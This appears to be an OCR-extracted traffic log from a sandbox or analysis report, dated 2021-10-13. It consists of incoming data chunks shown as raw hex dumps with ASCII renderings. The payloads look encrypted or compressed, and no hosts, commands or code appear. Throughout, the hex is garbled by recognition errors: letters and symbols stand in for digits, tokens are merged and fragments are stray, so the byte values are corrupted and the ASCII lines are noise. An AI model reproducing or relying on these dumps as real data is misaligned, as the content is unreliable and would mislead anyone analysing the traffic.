eb 69 dd 09 b1 a8 6a ce 3c f0 89 7b e7 11 Ob 6d a8 ff af 09 73 0d 84 82 90 cf 25 02 e9 8a 0d ac bc bc 4d 50 dO bf 1a 65 c9
30 ¢7 9b d4 96 82 70 18 1d ae fd 94 4c 31 bd 65 €6 64 80 07 d0 9f 70 ed 9d 61 bd f1 cf f1 28 aa e0 07 76 78 b6 cO f9 33
19 52 bc 52 1a 30 4f c2 94 c2 6a b2 82 Ob 3f 5a 09 6d 92 9b fa 82 4a 8d d3 b2 fO 75 6e 3a 61 18 1la f1 7b 34 1d f3 dc b0 47
85 b7 12 33 b6 c7 ce 53 58 75 e0 d8 06 29 26 08 2f ce 1e cd 10 b6 45 75 29 b5 0f 1e b7 ae 7f fb 72 8¢ 85 a9 1d f3 9f fe cf
d8 82 34 a7 06 7c 06 19 b1 f3 f9 e8 ac 81 2c al 40 b3 f5 f9 fO 84 d6 bd 08 1e e7 cb 49 ea e6 bb 64 e4 97 43 97 96 2 62
4b 6b df d6 03 5a 74 8e 4b 7f 8d b2 ab ca 77
Data Ascii: c+JgT:qY8PnLhij<{ms%MPe0pL1ledpa(vx3RR00j?ZmJun:a{4G3SXu)&/Eu)r4|,@|dCbKkZtKw

2021-10-13 11:06:38 UTC 127 IN Data Raw: 3c ec b7 da ad 08 7d ba 50 76 e5 cd 19 83 c3 b2 eb 7b ef 80 el b7 b6 b7 8e 8f 48 08 b7 f8 77 4f 3d db d5 5f 12
38 4f 60 50 92 e0 8a ef ee 65 7b 38 c3 9e 1d 10 78 50 ad 22 08 84 21 eb 2 8f 77 47 01 ad 4e 55 ad f1 80 77 23 43 67 cb
9b 3b 20 7d 7f 2b €7 ea a3 3557 34 42 al 76 bb 94 99 7d 75 a6 d6 68 64 aa 5d 2c 83 e2 a7 39 10 36 be 6e 94 4a 99 c5
e2 61 86 6f a2 f38a 76 a4 f5 35 d4 17 dd 5d 26 f8 78 2b 9b 8f ef 9d a5 a3 7b 8d a2 47 e7 22 80 b0 33 Oa 5f 02 04 5b 24 fe
13 68 85 ef 01 16 5b 21 f1 a3 dc ad 55 31 ae 8b df a3 44 88 d1 72 18 ba 5a el 2f 28 63 ee cc d0 37 51 c0 74 66 cb 3b 42
bb be 90 fa 81 29 68 8 f1 1f 69 d0 b1 e7 cO e5 dc 79 da 14 ff 10 44 0d bc a0 bb 62 bb 89 4d b5 0a 61 de Oa 61 fd d8 4e
29 al c7 17 3a 0f 4f d5 d6 4b 60 a7 b6 9c 3c ed f5 2b
Data Ascii: <}Pv{HwO=_80"Pe{8xP"lwGNUw#Cg; }+5W4Bv}uhd],96nJaov5]&x+{G"3_[$h[!U1Drz/(c7Qtf;B)hiyDbMa
aN):OK'<+

2021-10-13 11:06:38 UTC 128 IN Data Raw: dd bd c6 €3 73 ba d4 d5 6¢ 30 ba 21 7b 40 4d cd 2e be 2b 2f da b5 0a 0f ac 00 13 5c 13 f4 3f 55 45 bd 3c 98 63
2d 99 42 56 2c fc 6f 11 a6 e3 23 b5 04 99 be bc €9 02 e9 b5 ab 80 57 eb 7d 12 92 37 d3 cf 26 be f5 af ba 3d d7 fb c1 ae
3d ef 02 c4 5e c1 cb 2f 15 60 2a 02 b5 39 99 ce €3 0d 2a 3a a9 bb 46 d6 7c 37 5d Oe 03 f9 77 59 9f 9d 3b 69 fa fO 7a 6f 01
9e a3 4a f8 49 be 0f 76 cf 38 16 04 34 f0 d8 79 cc 13 ed a6 33 51 00 2f f9 84 3d b1 80 a5 68 16 83 24 1b 63 e7 75 d3 98 fO
bb 89 48 9d 52 a3 35 b6 52 2e €9 5f c3 61 af 05 d6 b3 34 f1 7a f9 bc f5 d4 85 bb 15 e8 25 5¢ 41 c2 e9 Oe 6f 06 5e 8b 74
30 1d 4b e8 f0 96 9d cd 1b Oe 20 54 8c 24 25 b2 f1 92 66 8d db 8d 08 59 43 38 7e Ob 18 82 07 ad 1a d9 b2 d1 d5 1e 92 3b
27 fd 42 e0 61 39 4a d7 98 24 21 25 22 4d ac af
Data Ascii: sSI0O{@M.+\?UE<c-BV,0#W}7&==""*9*:F|7]wY;iz0JIv84y3Q/=h$cuHR5R._a4z%\AoMOK T$%fYC8~;'B
a9J$!%"M

2021-10-13 11:06:38 UTC 129 IN Data Raw: 91 1d ¢7 53 54 f3 7d ae c1 71 c1 a4 6e c7 12 b4 Ob 87 ff 92 2d 98 a5 22 39 21 98 c5 01 4e 71 4e 7f df 27 cO db
€2 4f d1 5b 58 20 53 52 82 3c cd cc 99 1b f5 32 db a8 8f al b8 bl a8 44 0d eb 02 9b 2e €9 be fc 45 27 f3 9d dd 49 a4 96
b1 d9 2d ff a0 7b 5c a5 65 4e 49 e2 1b 83 db b0 44 07 76 87 cb d9 e8 bd 8f 8f 4c 8d a4 4f 43 44 13 6e ca 69 32 94 32 67
50 8a d5 8f c0 ec 63 57 78 3f 79 85 11 7c 4b ba 2c 2d a9 2f 57 c8 95 46 ef 23 39 4e 4c¢ 85 fc 04 70 25 69 13 9d 2f 38 20 7f
4a 91 03 56 8f 3b 75 Ob ef 81 e7 b9 Oe bc 4b 4c ad f4 fd 62 80 37 72 94 e4 a7 3d 18 27 09 49 b9 42 95 58 a5 d8 11 6d a6
d3 00 5e 89 f7 af f7 10 a6 05 9f 6f 78 2f 84 95 fa bf 88 ad 4a ba b5 65 7b 26 aa 32 50 bb 73 00 00 7d 99 94 6d f1 1le ca 28
18 46 9b 43 8e d2 8b 6a 9a 89 28 dd b9 6¢ be fb
Data Ascii: ST}qn-"9!NgN'O[X SR<2D.E'l-{\eNIDvLOCDni22gPcWx?y|K,-/WF#9NLp%i/8 JV;uKLb7r="IBXm"ox/Je{
&2Psim(FCj(l

2021-10-13 11:06:38 UTC 130 IN Data Raw: ae 9e 5e e3 ea ac d3 84 80 a3 af 99 f3 13 9c d2 2d ee 89 a4 97 26 57 dc c0 d6 el Oc d4 a7 41 c3 1c 40 {7 ee
99 fe 5d 25 ec e8 38 46 05 5f c4 8b 98 96 4f 34 28 43 88 al 22 0a 58 38 90 42 28 19 97 c4 8b b5 3d 34 21 58 c1 89 c5 df
58 10 b9 c6 e3 4c 21 f4 f8 6e 27 94 26 13 3e d2 e6 ac c4 ad 4b 40 94 07 bb 8a 1f 76 e6 a2 dd 2e 73 79 2f 11 9a 63 Ob Of
24 28 b5 e7 47 38 bb 85 bf ba ab e8 01 a2 8f 26 53 0a ab 80 48 61 70 12 81 11 f5 5e 4c c0 6¢ 8e 7a 31 c¢8 9c 47 a3 3d €3
24 dd 13 67 1f b2 14 60 35 Oa 24 3b 99 c8 53 46 79 bl 8e 9b fe c9 14 ad 58 e5 04 df 68 2e b2 1a 12 6b fa e9 5f c1 52 05
a2 4c d6 03 7d 96 77 cf a6 2c 40 be 3 d5 ca ea Oc 84 a6 5e 5d 00 2f fd b7 38 9e 82 a3 44 52 7f ¢3 83 62 e3 6e 99 bc d5
96 86 f4 a7 15 92 d0 92 ec 2e f6 7a cb a2 a5 05 d0 83 72
Data Ascii: *-&WA@]%8F_04(C"X8B(=4!XXL!n'&>K@v.sy/c$(G8&SHap”LIz1G=$g'5$;SFyXh.k_RL}w,@")/8DRbn.zr

2021-10-13 11:06:38 UTC 132 IN Data Raw: fb a2 Oc 51 2b d7 ac 60 c4 f7 9f 46 cO ce 5e 9a 2e d4 93 07 8b 5b 0f Oc b7 7d 20 06 f3 c8 31 c9 ca db 54 d7 88
65 7a 8b b6 bb d6 47 7c 11 01 b2 4d 33 84 db 26 6f 8a 3d a2 8f ac a9 ef 8f 9f ce 86 55 5e 3a c9 08 5¢ d2 el 40 6e 85 a9
cf 14 ¢6 53 50 49 b8 83 d0 57 7b 11 43 d5 34 b4 9e 80 ff 92 17 92 85 20 39 38 90 6f 52 d5 70 48 51 79 c8 59 da c2 d1 d4
97 49 06 73 59 a7 11 df ca c0 fd f5 32 c1 a0 e6 ae b8 b7 9d e4 5b 5f 01 9b 2c e3 ae 82 dc 26 69 bc d0 ba 82 b6 23 43 08
d2 91 20 7b 47 65 56 61 ef 7f 8e dd 9a db 51 c2 84 cb db e2 a8 f1 16 4d 17 85 42 b1 62 33 fd 50 4c 1f a6 6b 40 b3 8a c8
a7 cd 83 6e 51 52 a2 24 34 3d 7e 4f 9¢ 92 ab d7 b6 cc ed bc 77 2d 03 ad 4e d6 a0 f1 90 51 05 8d 0d b5 02 1a b0 74 60 13
62 c4 a6 16 73 2b 7c ab 61 ¢7 0d 98 66 59 ab 31 68 62
Data Ascii: Q+ FA.[} 1TezG|M3&o=UN\@nSPIW{C4 980RpHQYYIsY2[ ,&i#C {GeVaQMBb3PLk@nQR$4=~Ow-NQt bs+|a
fY1hb

2021-10-13 11:06:38 UTC 133 IN Data Raw: 5¢c 84 16 ef 45 22 01 12 3e e4 33 f2 9c d7 7f 39 9b b3 ce e2 b4 a9 d3 bl fe 2f 77 6d 91 8f 75 f0 8f 2c 90 2b 57
6e d7 b0 cf 5¢c ab 75 a0 c¢8 23 59 be 13 fb fb 1e c5 67 c8 6b ea 90 f7 2e d0 61 8f 5¢ 73 2d 92 9f 36 47 fd 30 b9 €9 52 38 8a
09 59 e2 ea 36 6¢ 8¢ bc 94 a9 Oe f4 12 9c f2 bb e0 86 a4 80 12 52 f3 ¢2 dO cd a4 2c 40 d9 c2 18 64 6f e6 98 fe c7 9a e4 d4
0c 40 9d 57 ¢5 8b b8 01 4b 3b 28 59 bf 94 08 27 5¢ 12 14 16 37 66 Oe c1 ab 08 1d 3d 20 c2 e4 3e f1 d4 6a 8f 99 cf e2 6¢
9a dc dc 61 30 bc 14 0a 16 9 ce 2e b 1e ¢8 3e 09 26 01 8e 3f 7c 7d 87 f0 a5 70 74 84 37 ba 69 2a b3 2c 08 8a f2 6f 15
a5 ad 94 92 29 90 b2 25 f1 bb 72 b1 af a0 43 fa 55 3f 0a 12 f8 f7 6a €0 67 af ba 39 €8 d9 54 8b 10 fe 2f f3 14 e3 61 2d 3f
€6 4f b3 99 3b 9d e8 c5 62 54 a3 32 e 6f db
Data Ascii: \E">39/wmu,+Wn\u#Ygk.a\s-6GOR8Y6IR, @do@WK;(Y'\7f= >jla0.>&?|}pt7i*,0)%rCU?jg9T/a-?0;bT20

2021-10-13 11:06:38 UTC 134 IN Data Raw: cc 10 92 95 69 b3 90 3d 1b b9 9c 71 e4 06 b9 1f ff a9 fO 9f fc c5 9a fd ad a6 9c 5d 34 06 0d 6 f8 e6 8a 9e 01 59
de b3 5 e6 cf a6 d3 92 0a 18 cb 63 59 0d 7e ba 60 cO a5 4c 0d b3 45 48 40 65 {7 d6 b6 5b 74 8e 74 8d b5 9f a9 d4 59 c9
8124 7a 03 51 d4 d3 43 89 02 67 ee cb 7e 44 b4 f1 be 8f 88 56 33 2b 97 a3 00 06 e2 €8 ee da dd f3 66 f4 a0 4e 52 0d ce
08 51 39 el 30 2e b7 6d ec le fe Ob e7 89 30 9f a8 8¢ 76 cf 98 8e ee 86 47 48 12 fb 28 74 f9 9 c6 16 36 2e bl 89 e7 63
5569 58 19 5 7a f3 12 4e f7 13 94 7e a0 d2 83 37 b0 97 2c 11 0a b0 47 79 fd 6 30 e2 fe b6 c4 fb 3 d4 f4 76 d3 23 5e d1
a4 1c fc ed e0 1c d5 Ob dO 80 a2 bc bl 9f af c4 73 74 29 19 54 50 2d fc 41 07 5b b9 f0 58 18 93 Oe c8 Ob df b2 07 5b a5
4514 70 cf 19 9e f5 b7 c4 79 €9 ac 4d a3 51 2f
Data Ascii: i=q]4YcY~'LEH@e[ttY$zQCg~DV3+NRQ90.mOVGH(t6.cUiXzN~7,Gy0v#"st) TP-A[X[EpyMQ/

2021-10-13 11:06:38 UTC 135 IN Data Raw: 5f 1e 9a Oe ca 41 56 60 ca el c5 Oe 4d 08 50 4b c4 3d 55 93 9e 36 €6 a9 04 75 el df 18 ed ae 2e cc aa 9f 65
2b db 10 €0 b7 fb 05 83 88 bd 2e 87 a9 e2 97 1a 75 c¢9 22 53 ef f0 65 01 cb bf a4 bd 71 d2 cb e8 d5 65 de b9 ba 23 49 fO
b6 66 8f 34 bb 42 08 83 4c 87 f1 33 f6 a3 c2 56 14 99 29 ed e5 23 f1 6a b5 ff 2b 57 18 6a 81 75 6a b7 29 af 0f 77 3d fc 32
bl e59a 61 a4 e8 3a 53 96 3e 63 de 35 fe c7 96 f4 ea 90 f3 2e 87 6f 8f 5¢ f2 20 92 8f 10 61 81 b3 ¢7 70 73 03 9a 29 5e fc
ff 1e db ab 91 83 a5 ac 8d 8a 9d 2 9f c6 de a5 80 Oe e0 fb ed c1 ed ae fd 3f 40 c3 38 30 5b ee 99 e3 ef 2d c3 f9 18 4c 3f
21 5d 8a b8 25 67 6¢ 29 59 a0 16 05 27 4f 34 32 64 b0 18 97 €0 fc 18 3d 34 3b ea c9 a6 d4 ff 52 2b c7 5f e2 6¢ e dc al 61
30 bc 91 34 13 ¢5 ea Oe e3 35 4a 40 b0 7¢c 15
Data Ascii: _AV'"MPK=U6u.e+.u"Seqe#If4BL3V)#j+Wijuj)w=2a:S>c5.0\ aps)?@80[-L?!]%gl)Y'O42d=4;R+_10045J@|

2021-10-13 11:06:38 UTC 137 IN Data Raw: 8d e3 fe 96 73 b5 77 20 30 c1 0a 03 5f a9 c9 7c 4e 2b 4f b2 5f 61 31 49 e8 d6 ec e5 b3 82 13 08 7d 91 48 b9 bd
5ae3d9 93 b7 a9 db 27 42 38 61 84 15 82 17 8b 3c 89 d9 af 4c 3f c4 29 38 90 c7 d4 64 1a 6e c8 f3 2e af 5e bb 4c b0 83
ec 6b b3 5a 79 29 b5 0f 00 b7 91 08 e5 00 93 b9 e6 26 f1 9f e7 fb 9e d1 af a6 00 52 9f 6a b2 d7 d4 e3 aa e2 20 81 ce 29
d0 d4 fd a8 de ec Ob 1e el cl a2 82 7f ba 7b ee a0 60 Of b3 d9 47 ef Oa 48 f7 9b 5e 54 f3 55 75 a5 05 8¢ e7 60 c2 a3 59 7¢
29 d7 8a d9 54 89 06 59 e8 e7 7c 44 28 fe 15 e3 37 77 1d 2e b7 dd 21 06 f3 72 cb 8 d8 fd 6b 88 al 48 78 ab 2b 87 50 39
fa 1e 29 9b 6f ec 82 f1 a0 8b 36 11 b0 ad ac 09 ee 8f 9f 74 a3 75 4c 1c f6 55 75 ff e3 60 c1 b9 2f b1 92 db 7b 79 6b 58 85
fa dl 9f ad 6f c7 16 b4 fe 81 ff 92 ad 95 a5 32
Data Ascii: sw 0_|N+O_all}HZ'B8a<L?)8dn. LkZy)&Rj }{ GHATUU Y} TY|D(7w.!rkHx+P9)o6tuLUu’ {ykX02
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 138 IN Data Raw: 80 17 1d 02 e3 a7 25 27 22 26 4b bf 6e 3d a4 42 40 10 69 82 53 97 5e 89 6d 10 ff 2c 91 03 1f {8 78 2f a4 e4 6d
b8 88 b3 75 bf 9a 67 7d 0a 06 ce b7 23 72 04 24 fc 0f 94 6d 6b al c2 17 2f 40 1a d5 8e d2 ab 13 12 8e 28 c2 b2 6¢ bc fb 5f
1c 90 de b5 d8 57 fa eb ec 76 29 6d 5a cb 6e e9 Oc 7b a7 3c 37 f8 81 09 1d f9 d9 32 77 f8 9a cf aa 9d 6f fe a4 89 el 2d da
08 32 af 9d 7d 1c 8c cf a5 2c 41 6a 23 4c ff f8 38 1b cb b9 91 36 27 66 c8 e8 d7 6f Oc c6 23 22 d3 d1 bb d0 a8 14 ef d9 2d
ae 7e 81 ¢5 97 f7 bc d2 5e 44 83 29 eb d0 ab a7 de b6 ff 29 5d cb 15 18 74 f0 96 24 18 28 57 68 67 17 9c d7 8c 55 01 e9
2558 9e 98 79 de 33 cb 4c c0 40 e9 90 1 24 53 10 16 5d 68 01 9f 3b 37 41 d7 28 e2 5d 42 1e ae 8f 5f e3 ea 16 6e bl 91
8595 06 de 11 9c f4 b1 64 f7 3d 81 Oe 7e fe
Data Ascii: %"'&Kn=B@iS"m,x/mugl#r$mk/@ (I_Wv)mZn{<72wo-2},Aj#L86'fo#"-~"D))]t$(WhgU%Xy3L@$S]h;7A(]B_nd=~

2021-10-13 11:06:38 UTC 139 IN Data Raw: ed b4 78 23 13 ¢2 40 1c bd 32 39 43 78 91 ec 46 2c 98 83 8b d3 23 c0 Oc 52 e2 2d 2f 4d 69 d4 f5 77 ca 1la 9e
86 8d 49 28 02 e0 ac 16 99 02 dd db 79 fd b9 3a ab e2 6a b9 98 fO bb 97 48 a2 f0 82 f6 b2 72 32 ec 7a eb 52 85 28 d2 99
5c a5 65 86 25 fO cbh ea 01 f9 c4 2a 7a c4 8c e4 f4 4d 26 97 95 7f 18 10 6d f2 f6 bc ec ba aa 22 22 50 95 62 39 €9 45 9c 40
96 97 67 fa 5d 43 a2 44 33 22 89 25 67 1d f3 d8 8f 61 05 92 3f 27 84 f0 €8 4e 37 6a €2 77 7a b0 21 22 49 90 4c cd 10 b2
c0 5c 9e 81 04 32 5a b0 73 e4 20 d2 83 81 30 e8 b7 d5 e7 b6 fa 87 24 78 el 18 14 2f f6 18 e6 8a 9e bb a4 e3 a2 d3 d9 23
8f fe 90 2a 5a fb el 27 8f 57 97 66 €0 8e 67 8f cd 46 6¢ 6d 70 f1 3b 9a 5a 74 14 71 58 b4 b9 89 07 70 e4 83 04 35 33 d7
aa 51 6a a4 04 47 c6 e0 fc 3a b7 d5 93 99 8e b8 1c 2a
Data Ascii: x#@29CxF,#R-/Miwl(y:jHr2zR(\e%*zM&m"'Pb9E@g]CD3"%ga?'N7jwz!"IL\2Zs 0$x/#*Z'WfgFIimp;ZtgXp
53QjG:*

2021-10-13 11:06:38 UTC 141 IN Data Raw: 8e 8f 4c 37 70 79 52 62 2c cf e2 44 30 b4 4b 4a d6 f4 51 a6 ed ea 43 bf 53 bd 07 86 35 51 5d bc 98 c3 a8 2f cd
cd 9b 4b c9 03 b2 44 64 a8 de 82 71 0f ef 73 2c 03 3a 24 59 8f 12 7d cf 14 1e 5¢c 39 5¢c al 08 b8 94 99 46 70 97 d4 68 7d
8b 1f 7f 18 e3 al 17 8d 71 bd 4a b9 40 9f 2a da 41 10 f7 87 de 87 78 a9 07 34 d2 3d 97 1b a3 f9 78 33 ac 98 77 b8 8e 87
df ec 01 66 7b 24 a0 41 2f 22 72 9a 21 70 1f b2 4d 00 85 ef 05 29 5e a7 d4 8e cf a3 67 08 8e 2e 7 21 3a 08 f8 5f 1e 9a ae
ca 4156 60 ca el c5 Oe 4d a8 50 4b c4 3d 18 9b 9e 36 e6 a9 04 75 el df 18 e9 ae 2e cc aa 9f 65 8b db 10 e0 b7 fb 05 80
88 bd 8e 87 a9 e2 97 47 7d c9 22 51 d7 f5 4a 03 cd 93 08 45 96 4a ca ec f1 bl 8b b8 ba b9 f6 f8 89 52 89 €0 ee 43 08 a3
38 bb e5 33 €9 9d fa 53 3b 9b 2f c1 4d db 16 f2 b4
Data Ascii: L7pyRb,DOKJQCS5Q]/KDdgs,:$YN9\Fph}gl@*Ax4=x3wWH{$A/"r'pM)"g.l:_ AV MPK=6u.eG}'"QJEJRC83S;/M

2021-10-13 11:06:38 UTC 142 IN Data Raw: 9b 39 56 68 85 f0 3f 75 a8 88 11 9a 7d 03 9e 2e 28 b3 d7 ed 6b 20 84 b9 94 09 83 9a a3 8f b8 56 9c ba a6 68
ee 57 3f 90 17 2c f8 4c c0 77 86 97 3b c8 9a 71 0d 6e 78 25 db 3d c1 77 29 15 60 ab Of b5 29 bf 8 df 61 54 a3 88 45 5f c9
14 b2 38 0b 21 dd 68 37 95 b4 41 f0 fb ef 71 67 3b 9e a3 4c 48 06 ed 84 51 ef 2b Ob 6d ae f5 cb 69 ea Oc 9b 8f a5 78 02 2f
€4 86 96 cd 19 a2 42 7c dd a5 18 63 e3 f0 9c 2f c7 b0 a6 76 80 38 83 d6 f5 4c 2e 6 65 7 64 80 07 dO 9f 70 0d 9d 61 bd f1
cf ce 38 32 ¢5 2a e0 7b 84 d8 c0 4b 1f 5¢c 94 7f 38 63 57 e8 f6 a5 db 9e 80 0f 26 7a 11 36 26 96 dc 99 60 88 b5 ad fb c7 66
1570 38 10 b5 07 ad 1c d3 8e bl 4c 1f 8b 17 15 92 d8 c3 66 b5 12 51 f4 04 2d 00 39 4f b0 87 56 35 9f 4b 5f 93 8b 20 12
91 91 2a fa 00 93 85 a9 1d 3 9f fe cf 30 82
Data Ascii: 9Vh?u}.(k VhW?,Lw;qnx%=w) )aTE_8!h7Aqg;LHQ+mix/B|c/v8L.edpa82*{K\8cW&z6& fp8LfQ-9OV5K_ *0

2021-10-13 11:06:38 UTC 143 IN Data Raw: 19 1c b0 47 7f 4d 55 63 69 d9 96 fb d9 c2 d5 d4 d8 68 06 73 dc 94 14 e0 ee e0 la df b4 bf 19 a3 a3 bc 97 be c4
7372 99 be 07 db Oa dc 79 25 69 b8 d0 9c a3 b6 23 c6 21 d7 ad 04 5b a3 4f d4 1f 56 18 83 d9 ba fb 7b ef 86 51 f8 e5 3f
a9 af 71 15 81 62 72 b2 12 fd ca 73 1a 99 4f 60 56 a0 4a d9 74 ef 63 55 72 83 05 1c 10 e6 6a b7 a9 Ob 89 11 cf ed b8 77
1d 22 ad 4e 51 ad f1 80 77 23 43 8f cb 9b 3b 20 7d 40 2c 7f cf 8e al 54 06 6b a7 c7 86 96 99 66 7d 50 f5 68 62 9e 1f 7f 18
e3al 17 8d 71 bd 4a b9 40 9f 9a d9 41 10 f7 87 de 87 78 a9 b7 37 d2 3d 97 c0 9e f9 78 31 ac 98 77 b8 8e 87 db ec 01 66
7b 24 a0 f1 2c 22 72 9a 21 70 1c b2 4d b0 86 ef 05 29 8b 9a d4 8e cd 85 62 27 8c 28 db 89 c2 ef 60 5e 1a be 7c 89 43 56
fa 75 €9 f9 3a 4b 7a 13 49 ¢4 1d 7d 7e bf 36 f8 9e
Data Ascii: GMUcihssry%i#![OV{Q?qbrsO"VJtcUrjw"NQw#C; }@,Tkf}PhbqJ @Ax7=x1wf{$,"rlpM)b'(*|CVu:KzI}~6

2021-10-13 11:06:38 UTC 144 IN Data Raw: 59 d1 cb 8a 8a 5c 42 ¢3 18 fa 6a c3 8b d8 e7 62 c3 f9 1e 46 bf 7b c4 8b a7 2d 6f 19 2a 59 a6 a6 a6 74 c7 13 12
3891 7b 95 c0 ab 96 18 19 33 e4 c4 c7 d6 f9 78 89 b7 e2 e3 6¢ 85 ea d0 43 32 bc 0d 3b bc aa 55 2f ba 30 6a 24 92 27 01
10 3a 5b 6d al d0 5b 57 59 95 31 be 47 2b b3 3b 00 98 ff 6f 13 93 07 c7 09 28 96 9c 83 ea 20 73 bl 31 a5 65 ea 73 1f 5
35 d5 e5 6¢ e5 48 ae ba 2e e0 b1 59 8b 16 cb a2 a5 a0 e0 61 2f 35 06 33 2a 98 al bc e5 db 45 74 c5 aa bb 42 e9 32 89
7823 13 d5 40 1c bd 32 39 43 78 91 ec 46 2c 98 83 2b d0 23 c0 Oc 52 e2 2d 2f 4d c9 d7 f5 77 ca 3c a0 86 8d 4f 28 02 e0
ac 16 99 06 dd db 79 fd b9 3a Ob el 6a b9 98 fO bb 94 48 a2 50 81 f6 b2 72 1a d2 7a eb 53 bb 2d fd 9b 5a 89 c9 7e c2 68
caee 2510 ac 28 7a 5e 33 ec cb 79 20 7e fd 7d 18 30 69
Data Ascii: Y\BjbF{-0*Yt8{3xIC2;U/0j$"[m[WY1G+;0( s1les5IH.Ya/53*EtB2x#@29CxF, +#R-/Mw<O(y:jHPrzS-Z~h%(z"3y
~}0i

2021-10-13 11:06:38 UTC 146 IN Data Raw: 97 a3 3e 2e de ea ee c3 e0 5d 35 6f al 48 7c ab 39 93 50 39 7f 35 2c a4 4b cc 0d d9 26 5 8f 4f 96 a9 8¢ 69 e6
a7 b2 ec 86 5e 74 b8 a8 b3 75 ff 7 60 e2 ad 2f b1 17 e2 7e 45 4f 78 09 d2 57 el 14 06 el 12 94 62 a8 d2 90 37 b6 a2 a2
47 be b3 47 7b {7 fb 4c 7b ff 2c 5 f6 d3 f3 d4 fd 4b 06 73 e3 ec 1a cd ec fd 34 d8 30 c1 86 88 25 c6 2e 83 ¢6 77 52 8f 99
2a c9 b6 d9 68 35 4f 98 7c 5a 82 b6 03 ac Ob ff 80 19 55 8d 48 54 61 c9 33 05 a3 03 c7 79 eb a6 46 df c8 2e 15 aa 61 05
a7 42 df 60 33 fd ea ea 14 b4
Data Ascii: >.]50H|9P95,K&Oirtu'/~EOXWb7GG{L{,Ks40%.WwR*h50|ZUHTa3yF.aB'3

2021-10-13 11:06:38 UTC 146 IN Data Raw: 4d 7f 46 a2 e5 a5 ed €8 49 d7 2c 24 06 1c 14 5c¢ c1 98 b8 2d 33 0a €0 ff 9e 77 47 01 ad 4e 6¢ 1c fa 82 77 3a 7c
2598 00 3a 26 53 e2 6d e4 ce 8e 3f 51 a4 78 81 7 23 b1 b4 77 7b ab 5b 6a 62 80 17 fc 3c €3 a7 2a 27 22 26 4b bf 6e 3d
a4 42 40 10 69 82 63 94 5e 89 6d 10 ff 2c 91 03 2f fb 78 2f a4 1a 53 b8 88 b5 75 bf 9a 67 7d 0a 02 ce b7 23 72 04 24 cc
Oc 94 6d 6b al c2 14 2f 40 2a d6 8e d2 ab fb 2c 8e 28 ca 8b 69 93 f9 59 30 38 22 52 40 56 fe cf 5e d6 28 6d cO 74 66 d5
3b 7d 15 9c 36 f8 al 9b 51 el d9 2a 43 fd b5 cd ac bl c7 06 43 11 e0 29 fe bb 93 ae 9d e7 a3 84 f3 91 2a f2 cb 22 4c df 6¢
6e 03 ch ae a6 16 0d 4b cc c2 53 3b 13 b9 ba 27 f3 41 99 74 a9 8e ca 6e 19 a5 4c 33 e7 33 f6 9¢ 67 58 39 9b 31 c3 e2 a7
8f f5 9e 7d 51 ee 4c 6b 85 55 65 90 04 bd b3 72 45
Data Ascii: MFI,$\-3WGNIw:|%:&Sm?Qx#w{[jb<*"&Kn=B@ic"m,/x/Sug}#r$mk/@*,(iY08"R@V"(mtf;}6 Q*CC)*"LInK
S;'AtnL.33gX91}QLkUerE

2021-10-13 11:06:38 UTC 147 IN Data Raw: b3 2a 02 37 83 f6 14 b9 81 99 25 2b 96 98 39 aa 0f 62 97 8b 35 4a fb 55 1f 4b 10 d5 e5 55 €8 41 ac ba 3f e2 1e
2512 11 el 20 fb 8f €3 61 2b 8f 45 1c 3b be 1b 2f ca c9 63 74 7d 8f bb 42 dO 3c 80 7a 23 Oa 5 ee 4f 26 33 3f 6d da 58 77
47 2¢ 06 86 61 c0 05 e0 21 75 cf 3c 29 8¢ 89 d5 5 68 €3 24 a9 84 8d 53 2a ad 9¢ 35 11 b3 84 83 fa 7a fd bd 80 46 ce 7b
9f 22 6d 94 86 6e a2 d2 a4 f6 b2 4c 06 db 78 eb 4a 87 83 ae 00 5b 8f 7 d8 05 f3 cb ee bb 15 e8 38 5¢ 7e 10 cb e6 6b 26
ac b3 7f 18 2f 45 c0 db be 3 b5 a8 89 5e ¢9 92 48 bb b7 66 9f 40 92 2d 88 d6 4f 65 18 db 1c 30 af 25 53 3b f3 d8 b0 45 37
bf 3d 38 96 f2 43 32 ae 6d c8 f1 24 92 22 22 4d 2a a2 el 02 94 7a c2 b1 90 22 32 96 99 73 e4 1f 9c bl ac 32 f1 99 d2 63
c8 65 ac a6 02 58 a5 16 2b d6 4e c2 a7 8c 07 al
Data Ascii: *7%+9b5JUKUA?% a+E;/ct}B<z#0&3?mXwG,alu<)h$S*5zF{"'mnLxJ[8\~k& E"Hf@-0e0%S;E7=8C2m$"'M*z"
2s2ceX+N

2021-10-13 11:06:38 UTC 148 IN Data Raw: c1 df 76 49 19 79 eb af 3e cd ea ca 9a 8b ab c0 80 a6 83 64 b5 82 c6 €9 57 2e 89 Oc e9 f0 fe 45 27 49 a6 db 58
82 a9 07 f1 00 fd 80 00 71 23 1b cf 60 cf 1d a3 00 98 c6 79 75 a3 e6 cf ee Oe 52 8d 4c 17 al 20 79 62 33 e2 c3 41 1f b6
4d 66 7a Oc b6 3e ec ee 67 71 8c bf 07 1c 8a 59 62 88 9e 0d 77 2d cd ed 98 1c e2 03 ad 51 47 ad f1 80 77 23 43 8b cb 9b
3b 20 7d 40 cc 7f cf 8e al 54 06 68 a7 c7 66 96 99 66 7d dd ff 68 62 9f 38 7a 37 el a7 3b 25 89 5a d2 b8 44 bb fa 3b 43
10 6d 38 d6 bb 4c af d7 d5 d0 3d b7 03 da d2 78 2f 9b b9 5d 95 8a ad 5b b8 1e 19 e2 21 80 b4 Oe c3 70 00 04 c7 2b b9 7f
d7 a4 Oe 07 09 60 9b a5 a5 d2 8b 55 2e a6 05 df a3 42 bb 7b 21 83 bb 5c cf 61 b4 8 ef cc 4e 0d 40 4b 77 6b 26 1f 5d 87
be a3 d3 81 29 6f c9 f4 30 6b d6 9d 4f d4 02 44 78 de
Data Ascii: vly>dW.E'IXg# yuRL yb3AMfz>gqYbw-QGw#C; }@ Thffthb8z7;%ZD;Cm8L=x/][!p+ U.B{\aN @Kwk&])oOkODx
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 150 IN Data Raw: el 20 c3 fa 1e 66 9d 49 e9 8b b8 3f 6f 19 2a 59 a6 a6 a6 74 c7 13 12 38 91 1b 94 c0 ab 96 18 19 33 e4 c4 a7
d7f9 78 89 a7 eb e3 6¢ 85 ed dO 43 32 bc 0d 3b b8 aa 55 2f ba 30 6a 44 93 27 01 10 3a 5b 6e al dO 3b 56 59 95 31 b5 4e
